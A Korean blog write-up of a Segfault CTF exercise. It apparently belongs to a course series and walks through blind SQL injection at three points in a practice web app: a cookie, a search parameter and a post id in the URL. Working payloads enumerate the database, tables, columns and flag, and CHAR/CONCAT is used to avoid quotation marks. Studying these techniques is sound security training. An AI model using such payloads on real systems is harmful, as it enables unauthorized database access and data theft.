※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)
※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.

→ BurpSutie로 살펴본 결과
→ 총 3가지 SQLi point가 있었다.
▶① 쿠키에 SQLi Point
→ 로그인을 한 뒤, Mypage에서 쿠키 ID에 SQLi를 해보았다.


→ SLQi point를 찾았으니 blind sqli을 하면 된다.
→ 공격 포맷은 t1234' and ascii(substr((SQL 구문),1,1))>97# 이다.
→ 1단계 DATABASE 이름
→ t1234' and ascii(substr(database(),1,1))>97#
→ 같은 원리로 값을 찾아내었다.
→ sqli_6가 나왔다.
→ 2단계 Table 이름
→ t1234' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='sqli_6' LIMIT 2,1),1,1))>0) #; 참, Table 개수는 3개였다.
→ 같은 원리로 값을 찾아내었다.
→ board, flag_table, member
→ 3단계 Column 이름
→ t1234' and (ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_6' AND TABLE_NAME ='flag_table' LIMIT 0,1 ),1,1))>0) #;
→ 같은 원리로 값을 찾아내었다.
→ idx, flag
→ 4단계 값
→ t1234' and (ascii(substr((SELECT flag FROM sqli_6.flag_table LIMIT 0,1),1,1))>0) #;
→ 같은 원리로 값을 찾아내었다.
→ flagIsHere!!Come, segfault{플래그}
▶ ② 검색 기능에 option_val 파라미터 SQLi Point


→ username을 1#으로 바꾸니 모든 글이 보인다.
→ 1이 true라서 그런 것 같다. true#을 넣어도 같은 결과이고,
→ false#이나 0#을 넣으면 글이 보이지 않는다.
→ SLQi point를 찾았으니 Blind SQLi를 하면 될 것 같다.

→ 다른 공격 방법으로 이미 DATABASE이름은 알고 있으므로 첫 글자만 테스트해 보았다.
→ username and ascii(substr(database(),1,1))=115#를 입력하니 참인 결과가 나왔다.
→ 따옴표가 안 되는 부분은 CONCAT함수와 CHAR함수로 해결하면 될 것이다. (아래 3번 URL파라미터 참조)
→ SQLi point가 맞다
▶ ③ 게시글 id URL파라미터에 SQLi Point
→ 이 부분은 Burp Suite로 하면 오히려 불편했다. 띄어쓰기가 안되었다.
→ URL 인코딩 때문인 것 같다. 쉽게 바꿀 수 있는 기능이 있는데 내가 모르는 것일 수도 있다.



→ 본인이 글을 하나 쓴 뒤 게시글을 클릭해서 게시글의 id파라미터를 알아내었다.
→ 나의 경우 내 글이 179번이었다.
→ http://ctf.segfaulthub.com:7777/sqli_6/notice_read.php/?id=179 and 0#
→ 위를 입력하면 아래와 같이 자동 변환되고 글이 보이지 않는다.
→ http://ctf.segfaulthub.com:7777/sqli_6/notice_read.php/?id=179%20and%200#
→ and 1#을 입력하면 글이 보였다. (and true#랑 같으므로)
→ SQLi point로 확인되었으니 Blind SQLi를 하면 될 것 같다.
→ http://ctf.segfaulthub.com:7777/sqli_6/notice_read.php/?id=179 and ascii(substr(database(),1,1))=115#
→ 위를 입력하면 아래와 같이 변환되고
→ http://ctf.segfaulthub.com:7777/sqli_6/notice_read.php/?id=179%20and%20ascii(substr(database(),1,1))=115#
→ 참으로 Blind SQLi가 가능했다.
→ SQLi point가 맞다
→ 다만 따옴표가 먹히지 않았다. database()='sqli_6'처럼 확인은 불가능했다.
→ 이 부분은 CONCAT 함수와 CHAR 함수로 따옴표 없이 해결이 가능했다.
→ http://ctf.segfaulthub.com:7777/sqli_6/notice_read.php/?id=179 and database()=CONCAT(CHAR(115),CHAR(113),CHAR(108),CHAR(105),CHAR(95),CHAR(54))
→ 참인 결과가 나왔다.
→ 아스키코드 115 113 108 105 95 54는 sqli_6이다.
| Segfault CTF - (8주 차) SQL Injection Point 3 (0) | 2024.06.12 |
|---|---|
| Segfault CTF - (8주 차) SQL Injection Point 2 (0) | 2024.06.12 |
| Segfault CTF - (7주 차) SQL Injection 6 (0) | 2024.06.05 |
| Segfault CTF - (7주 차) SQL Injection 5 (0) | 2024.06.05 |
| Segfault CTF - (7주 차) SQL Injection 4 (0) | 2024.06.05 |